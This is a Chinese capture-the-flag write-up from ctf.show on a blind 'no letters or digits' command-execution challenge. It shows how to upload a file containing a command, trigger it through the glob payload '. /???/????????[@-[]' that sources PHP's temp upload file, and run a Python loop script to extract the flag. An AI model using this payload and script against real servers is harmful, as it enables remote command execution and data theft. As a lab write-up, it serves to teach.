LOADING

加载过慢请开启缓存 浏览器默认开启

无字母数字命令执行

这道题对比上一道没有回显,尝试重定向写文件结果访问失败。后来找到一个方法

先上传文件(内容:tac /var/www/html/flag.php)上传后会放在一个生成的临时文件中

然后再传参数. /???/????????[@-[],这个会随机对符合要求的文件进行source命令,当读到上传的文件时就会执行tac /var/www/html/flag.php输出flag。传参数可能要重复直到匹配到我们上传的文件,所以可以写一个脚本,这里在网上找了一个脚本来做:

import requests

import time

配置项(集中管理,方便修改),这里的url要改为http

TARGET_URL = “http://27f8f9b8-dc29-4db9-a38c-0c3f317a49b0.challenge.ctf.show/

PAYLOAD_FILE_PATH = “payload.txt” # 内容为 tac /var/www/html/flag.php

CHECK_FLAG_STR = “CTF{“

RETRY_INTERVAL = 1 # 重试间隔(秒)

def get_flag():

"""循环发送请求,获取包含CTF{的flag"""

# 1. 初始化文件对象(使用with语句确保文件正确关闭)

try:

    file = {"file": open(PAYLOAD_FILE_PATH, "r", encoding="utf-8")}

except FileNotFoundError:

    print(f"错误:找不到文件 {PAYLOAD_FILE_PATH},请检查路径!")

    return

except Exception as e:

    print(f"打开文件失败:{e}")

    return

# 2. 构造恶意代码参数(. /???/????????[@-[] 是Linux命令模糊匹配绕过)

data = {"code": ". /???/????????[@-[]"}

# 3. 循环发送请求获取flag

print(f"开始向 {TARGET_URL} 发送请求,等待获取flag...")

try:

    while True:

        # 发送POST请求(添加超时,避免卡死)

        response = requests.post(

            TARGET_URL,

            files=file,

            data=data,

            timeout=10,

            # 禁用重定向,避免意外跳转

            allow_redirects=False

        )

        # 检查响应中是否包含flag

        if CHECK_FLAG_STR in response.text:

            # 提取完整flag(从CTF{开始到行尾)

            flag_start = response.text.find(CHECK_FLAG_STR)

            # 找到flag结束位置(通常是},增强鲁棒性)

            flag_end = response.text.find("}", flag_start) + 1

            if flag_end > flag_start:

                flag = response.text[flag_start:flag_end]

            else:

                flag = response.text[flag_start:]

            print(f"✅ 找到Flag:{flag}")

            break

        else:

            print(f"⏳ 未找到flag,{RETRY_INTERVAL}秒后重试...")

            time.sleep(RETRY_INTERVAL)

except requests.exceptions.RequestException as e:

    print(f"请求失败:{e}")

finally:

    # 确保文件关闭

    file["file"].close()

if name == “main“:

get_flag()

运行脚本得到flag

无字母数字命令执行_8d644b9b